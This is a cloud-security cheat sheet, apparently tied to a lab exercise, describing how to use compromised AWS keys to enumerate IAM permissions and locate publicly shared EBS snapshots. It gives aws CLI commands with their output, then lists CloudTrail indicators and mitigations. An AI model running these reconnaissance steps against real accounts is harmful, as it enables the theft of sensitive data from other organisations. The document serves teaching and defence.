Cheetsheet - AWS - Scenario - Utilise Public EBS snapshots
Overview
Access publicly accessible EBS snapshots to retrieve sensitive information.
Service/Tool: EBS, EC2, IAM, awcli
Use Case: Locate EBS snapshot that is publicly accessible for our target, copy it, then mount it to look for sensitive data.
Prerequisites: An AWS account ID
Attack Workflow
1. Step 1 (Discovery/Access)
Objective: Locate publicly accessible EBS snapshots using compromised credentials
Command/Method:
First we will enumerate our compromised account for the operations available on EBS to locate further information that may assist with our objection (i.e. data exfiltration/sensitive information discovery from EBS)
We configure AWSCLI with our compromised keys then run some basic whoami-esk commands:
aws sts get-caller-identity
{
"UserId": "AIDARQVIRZ4UJNTLTYGWU",
"Account": "104506445608",
"Arn": "arn:aws:iam::104506445608:user/intern"
}
aws iam get-user
An error occurred (AccessDenied) when calling the GetUser operation: User: arn:aws:iam::104506445608:user/intern is not authorized to perform: iam:GetUser on resource: user intern because no identity-based policy allows the iam:GetUser action
Unfortunately we do not have permissions to run the aws iam get-user
command however it does demonstrate that we can use the error message to find the username of our compromised account, intern
.
We can then conduct some reconnaissance on this account using a handful of IAM commands.
First we will review the attached policies to determine the permissions of our account:
aws iam list-attached-user-policies --user-name intern
{
"AttachedPolicies": [
{
"PolicyName": "PublicSnapper",
"PolicyArn": "arn:aws:iam::104506445608:policy/PublicSnapper"
}
]
}
Our compromised account has the policy "PublicSnapper" attached. Let's see what permissions this policy has. First we figure out the current version of our policy:
aws iam get-policy --policy-arn arn:aws:iam::104506445608:policy/PublicSnapper
{
"Policy": {
"PolicyName": "PublicSnapper",
"PolicyId": "ANPARQVIRZ4UD6B2PNSLD",
"Arn": "arn:aws:iam::104506445608:policy/PublicSnapper",
"Path": "/",
"DefaultVersionId": "v9",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2023-06-10T22:33:41+00:00",
"UpdateDate": "2024-01-15T23:47:11+00:00",
"Tags": []
}
}
then we can view the contents of the policy:
aws iam get-policy-version --policy-arn arn:aws:iam::104506445608:policy/PublicSnapper --version-id v9
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Intern1",
"Effect": "Allow",
"Action": "ec2:DescribeSnapshotAttribute",
"Resource": "arn:aws:ec2:us-east-1::snapshot/snap-0c0679098c7a4e636"
},
{
"Sid": "Intern2",
"Effect": "Allow",
"Action": "ec2:DescribeSnapshots",
"Resource": "*"
},
{
"Sid": "Intern3",
"Effect": "Allow",
"Action": [
"iam:GetPolicyVersion",
"iam:GetPolicy",
"iam:ListAttachedUserPolicies"
],
"Resource": [
"arn:aws:iam::104506445608:user/intern",
"arn:aws:iam::104506445608:policy/PublicSnapper"
]
},
{
"Sid": "Intern4",
"Effect": "Allow",
"Action": [
"ebs:ListSnapshotBlocks",
"ebs:GetSnapshotBlock"
],
"Resource": "*"
}
]
},
"VersionId": "v9",
"IsDefaultVersion": true,
"CreateDate": "2024-01-15T23:47:11+00:00"
}
}
}
A couple of interesting notes from this output:
ec2:DescribeSnapshotAttribute
onarn:aws:ec2:us-east-1::snapshot/snap-0c0679098c7a4e636
. From the AWS documentation, this will allow us to query theattributes
associated with the specified snapshot, where the attributes specify who can create volumes from the snapshot.ec2:DescribeSnapshots
on*
which will allow us to list all EBS snapshots within an AWS account, or another AWS account should the snapshot be public!ebs:ListSnapshotBlocks
andebs:GetSnapshotBlock
on*
. These API calls will allow us to list metadata about the blocks stored in a snapshot and get the blocks from EBS snapshots.
2. Step 2 (Escalation/Exploitation)
Objective: Using the compromised account, list available EBS snapshots
Command/Method:
We will first describe (list) all of the snapshots for compromised AWS account:
aws ec2 describe-snapshots --owner-ids self --region us-east-1
{
"Snapshots": [
{
"Tags": [
{
"Key": "Name",
"Value": "PublicSnapper"
}
],
"StorageTier": "standard",
"TransferType": "standard",
"CompletionTime": "2023-06-12T15:22:57.924000+00:00",
"SnapshotId": "snap-0c0679098c7a4e636",
"VolumeId": "vol-0ac1d3295a12e424b",
"State": "completed",
"StartTime": "2023-06-12T15:20:20.580000+00:00",
"Progress": "100%",
"OwnerId": "104506445608",
"Description": "Created by CreateImage(i-06d9095368adfe177) for ami-07c95fb3e41cb227c",
"VolumeSize": 8,
"Encrypted": false
},
{
"StorageTier": "standard",
"TransferType": "standard",
"CompletionTime": "2023-08-24T19:34:22.909000+00:00",
"SnapshotId": "snap-035930ba8382ddb15",
"VolumeId": "vol-09149587639d7b804",
"State": "completed",
"StartTime": "2023-08-24T19:30:49.742000+00:00",
"Progress": "100%",
"OwnerId": "104506445608",
"Description": "Created by CreateImage(i-0199bf97fb9d996f1) for ami-0e411723434b23d13",
"VolumeSize": 24,
"Encrypted": false
}
]
}
Next we would like to find the ones that are publicly accessible. To do this, we must enumerate the attributes
of the snapshot, which we can do with the ec2:DescribeSnapshotAttribute
. Recalling from step 1, we had this permission to the snapshot ID snap-0c0679098c7a4e636
, so let's query that one:
aws ec2 describe-snapshot-attribute --attribute createVolumePermission --snapshot-id snap-0c0679098c7a4e636 --region us-east-1
{
"SnapshotId": "snap-0c0679098c7a4e636",
"CreateVolumePermissions": [
{
"Group": "all"
}
]
}
Per the documentation this "Group":"all"
within the CreateVolumePerimissions
attribute indicates that users in all groups (i.e. anonymous users) can create a volume from this snapshot.
We can also enumerate public snapshots via the following command, which provides us with the same output - of particular note this command will work against any AWS account - that is, we can enumerate the publicly accessible EBS snapshots of any AWS account as long as we have the account ID!
aws ec2 describe-snapshots --owner-id self --restorable-by-user-ids all --no-paginate --region us-east-1
{
"Snapshots": [
{
"Tags": [
{
"Key": "Name",
"Value": "PublicSnapper"
}
],
"StorageTier": "standard",
"TransferType": "standard",
"CompletionTime": "2023-06-12T15:22:57.924000+00:00",
"SnapshotId": "snap-0c0679098c7a4e636",
"VolumeId": "vol-0ac1d3295a12e424b",
"State": "completed",
"StartTime": "2023-06-12T15:20:20.580000+00:00",
"Progress": "100%",
"OwnerId": "104506445608",
"Description": "Created by CreateImage(i-06d9095368adfe177) for ami-07c95fb3e41cb227c",
"VolumeSize": 8,
"Encrypted": false
}
]
}
3. Step 3 (Final Exploitation/Outcome)
Objective: Create a new volume from the publicly accessible snapshot.
Command/Method:
AWS has some pretty good documentation on this which can found at the following URL: https://docs.aws.amazon.com/prescriptive-guidance/latest/backup-recovery/restore.html
Detection and Defense
Indicators of Compromise (IoCs):
Via CloudTrail:
ModifySnapshotAttribute
event whenrequestParameters.createVolumePermission
shows the EBS snapshot was shared with an account ID that is unknown, or"groups":"all"
SharedSnapshotCopyInitiated / SharedSnapshotVolumeCreated
is logged, along with theuserIdentity.accountId
that contains the attacker's account ID.
Mitigation Techniques:
Review and remove publicy accessible snapshots using the commands mentioned in the article. Any secrects contained within these snapshots should be rotated.
Notes and References
Links:
PwnedLabs - Loot public EBS snapshots
DataDog - Exfiltrate EBS Snapshot by Sharing it
AWS - DescribeSnapshotAttribute
AWS - CreateVolumePermission